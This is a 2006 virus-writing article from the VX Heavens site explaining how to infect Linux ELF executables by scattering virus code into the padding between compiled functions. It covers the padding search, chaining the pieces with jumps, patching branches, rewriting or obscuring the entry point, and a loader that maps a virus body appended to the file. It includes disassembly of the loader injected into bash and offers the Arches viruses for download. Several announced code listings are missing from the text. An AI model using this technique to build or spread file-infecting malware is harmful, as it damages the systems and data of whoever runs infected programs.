VX Heavens

Infecting ELF-files using function padding for Linux

herm1t
August 2006

Introduction

Not so long ago, i have read two articles concerned with amusing method of ELF-file infection [1,2], I want to talk about. It's amazing, but the tools presented by Z0mbie and Ares both intended to injecting trojans, and I still didn't saw any viruses using this technology, though may be I looked in the wrong direction. :-) Method is unusual and has both advantages and disadvantages, but let's discuss everything step by step.

In order to increase the perfomance of code the compiler will align functions, cycles, access to data and stack on the boundary multiple by power of two. You may see the alignment options of gcc by `cc1 --help`, but we will focus on how all these look like in code. Let's see:

805cb99: 89 0d 10 0e 0e 08    mov    %ecx,0x80e0e10
805cb9f: 89 ec                mov    %ebp,%esp
805cba1: 5d                   pop    %ebp		; one function ended
805cba2: c3                   ret			; here
805cba3: 8d b6 00 00 00 00    lea    0x0(%esi),%esi	; *padding*
805cba9: 8d bc 27 00 00 00 00 lea    0x0(%edi),%edi	; *padding*
805cbb0: 55                   push   %ebp		; here the next one
805cbb1: 89 e5                mov    %esp,%ebp		; begins

As much as thirteen bytes in a single function! Precisely these islands of free space we will use to write our code to. We will infect the file as follows:

1. Get our code from the current process memory
2. Remove the linking jumps from it
3. Find a victim
4. Open the victim, map it into memory, check it, find the .text section
5. Look there for all the free space islands
6. Try to insert our code instruction by instruction into the found islands, linking them together with "jmp near"
7. Fix all conditional and uncoditional branch instructions (JMP/Jcc/CALL)
8. Fix the headers or the code of the victim, so that the virus will receive the control upon execution

What we will get as a result? Here is what the virus loader injected in bash look like:

805c1f3:	60                   	pusha  
805c1f4:	68 78 65 00 00       	push   $0x6578
805c1f9:	e9 25 03 00 00       	jmp    805c523 		---+
.......		..............		..................	   |
805c523:	68 6c 66 2f 65       	push   $0x652f666c	<--+
805c528:	e9 1b 02 00 00       	jmp    805c748 		---+
.......		..............		..................	   |
805c748:	e9 c6 00 00 00       	jmp    805c813 		<==|
805c74d:	90                   	nop    			   |
805c74e:	90                   	nop    			   |
805c74f:	90                   	nop    			   |
.......		..............		..................	   |
805c813:	68 63 2f 73 65       	push   $0x65732f63	<--+
805c818:	e9 06 03 00 00       	jmp    805cb23 		---+
.......		..............		..................	   |
805cb23:	68 2f 70 72 6f       	push   $0x6f72702f	<--+
805cb28:	6a 05                	push   $0x5
805cb2a:	58                   	pop    %eax
805cb2b:	e9 73 00 00 00       	jmp    805cba3 		---+
								   |
.......		..............		..................

.......		..............		..................
8060708:	e9 47 01 00 00       	jmp    8060854		---+
806070d:	90                   	nop    			   |
806070e:	90                   	nop    			   |
806070f:	90                   	nop    			   |
.......		..............		..................	   |
8060854:	68 10 b5 05 08       	push   $0x805b510	<--+
8060859:	c3                   	ret    

New entry point: 0x805c1f3
Old entry point: 0x805b510

Let's consider each step individually.

Looking for the free space

As a preliminary we'll examine the list of instructions used for alignment (from the binutils, file gas/config/tc-i386.c):

We will search the above signatures with their checksum and length, which will reduce the table size. To lower the count of the false matches we will set the following restrictions:

1. The island we are going to use is located in the .text section.
2. If it is not a jmp .+15/nop/... it must be preceded by C3 (RET).
3. The island should start on the instruction boundary.
4. The found island (without RET/JMP commands) should be at least 6 bytes long (there'll be the "jmp near" to the next island in the end of each island except one or more of our instructions).

InfELF uses more complicated search algorithm, but the one of ours gives reasonably good result, and need less memory and time.

To satisfy the third condition we'll use the length disassembler, mlde32 by uNdErX for instance. The found islands we'll place in the single linked list sorted by offsets:

We'll store the signatures in the patterns array:

(1) We need patterns.shift to satisfy the fourth condition. The first bytes of the signatures are either C3 (RET), or EB 0D (jmp .+15) we should not erase. Therefore, to obtain the offset and the length of the free space island we'll add shift to the offset and substract it from the length.

Here is the C code for the search routine:

To satisfy the first condition we have to know the offset of the .text section in the file, its size and address. Let's walk through the file headers. The e_shstrndx field in the ELF file header hold the index of the string table section in the section headers table, and e_shnum the number of sections. We are interested in the following fields of the elements of section table:

sh_name

offset in the string table of the section name

sh_offset

offset of the section in file

sh_addr

address of the section in memory

sh_size

size of the section

The C code that will find the .text section:

Code injection

Suppose that all of the virus instructions are stored already in the list of structures named "code", of the following type:

The only thing remaining for us to do is to insert as much commands to each island as possible, fill the "dst" field of "code_t" structures, link the islands together with jumps and fix the branch addresses. Here goes:

Fix the addresses of the branches:

Reconstructing our own code

Here we came to the last and the most rugged part of the technology: we infected one file and to infect the next one we need to find our own code scattered through the file, reassemble it and remove the linking jumps out of it. We'll need for that the length disassembler, the virus entry point (we'll start disassembling from there) and the label at the end of the virus denoting that it's time to stop. To determine our own entry point we can not use the traditional virus mantra:

Because all three commands (say nothing of the preceding) might lay in the hundreds of instructions one from another, that's why we will write our entry point to the body of the virus at the stage of infection. To identify where to, let's choose some command which will occure in our code only once, let it be "mov esp, ?":

And the HLT instruction will be a signal for the disassembler that the virus has ended and it's time to return the result. We have another similar problem: when the work is done the virus must return the control to the infected host, if we use the "jmp near" command for that, we need to distinguish it from the other JMPs, to prevent the disassembler to follow it to the main program. We can place this jump immediately before the HLT and add the corresponding adjustment. And generally we can use the PUSH/RET instead of jump (we'll examine such possibility also).

The virus code should not contain JMP/Jcc SHORT/LOOP/LOOPxx,JECXZ instructions. It is most likely that after injection the destination addresses of these commands will come out of range of +-128 bytes. Naturally, we can replace the above commands with their NEAR equivalents at runtime, but such replacements has any meaning only in the case when we are going not only to expand short commands to near, but also the reverse (otherwise the code doing the replacements will be executed once and will not be used further). Since we have not enough resources for the multipass optimization of code we will avoid the instructions listed above.

Now we need to remove the linking jumps from the reconstructed code. Since the list is sorted, it's sufficient to check is the jump pointing to the next command in list, if so, we can remove it. Like this:

Fixing the headers

A very little more is left to do: save the addresses we need in the body of the virus and fix the ELF-file header, so that entry point will refer to the begining of the virus. Break through the all necessary calculations:

What else we can do?

It's easy enough to add the EPO (entry point obscuring) to the infection routine described above. We need to add the following fragment to the free space search routine (we're looking through the file anyway, why not to find at the same time the instruction we can hang on):

And make over the final part (described in the previous chapter) in the following way:

All done. We don't touch entry point. Quite naturally, it wouldn't be the first CALL, or not a CALL, but JMP, and not a JMP, but whatever you want. But that all is up to you.

Completely or by pieces?

Let's look with fpstat how many space is available in average ELF-file:

It's a shade better with /usr/bin, but by a negligible margin:

590556 1368 431,693

So the bona fide programs are ready to donate 430 bytes on the average to our virus. It's possible to optimize the virus, but not at such degree. We can limit the infection to the large files like bash, vim or php, but also we can inject into the file only the loader and put the whole virus body in the end of the file, like it was suggested in [2]. The loader must:

1. Open the file in which it resides (/proc/self/exe)
2. Map the end of the file into memory, starting from offset file_length - virus_length, with attributes PROT_READ|PROT_EXEC (the offset must be aligned on page boundary or mmap will fail).
3. Transfer control to the address immediately following the loader, but in the mmaped file.

Here comes:

By the way, we no more need the special cases for the HLT and saving the virus entry point in the body of the virus, so we can remove the following fragments:

Now let's look what changes we have to do in the virus itself:

1. Align the file, so it length will be multiple of page size
2. Write the virus body at the end of file
3. Save the old entry point in file
4. Change the entry point

The fragment of the Arches/L virus:

That's all, you comments is welcome. herm1t@vx.netlux.org

Download Arches,Arches/L viruses and the utilities

References

1. Z0mbie "Injected Evil", 2002
2. Ares "Static linked ELF infecting", 2004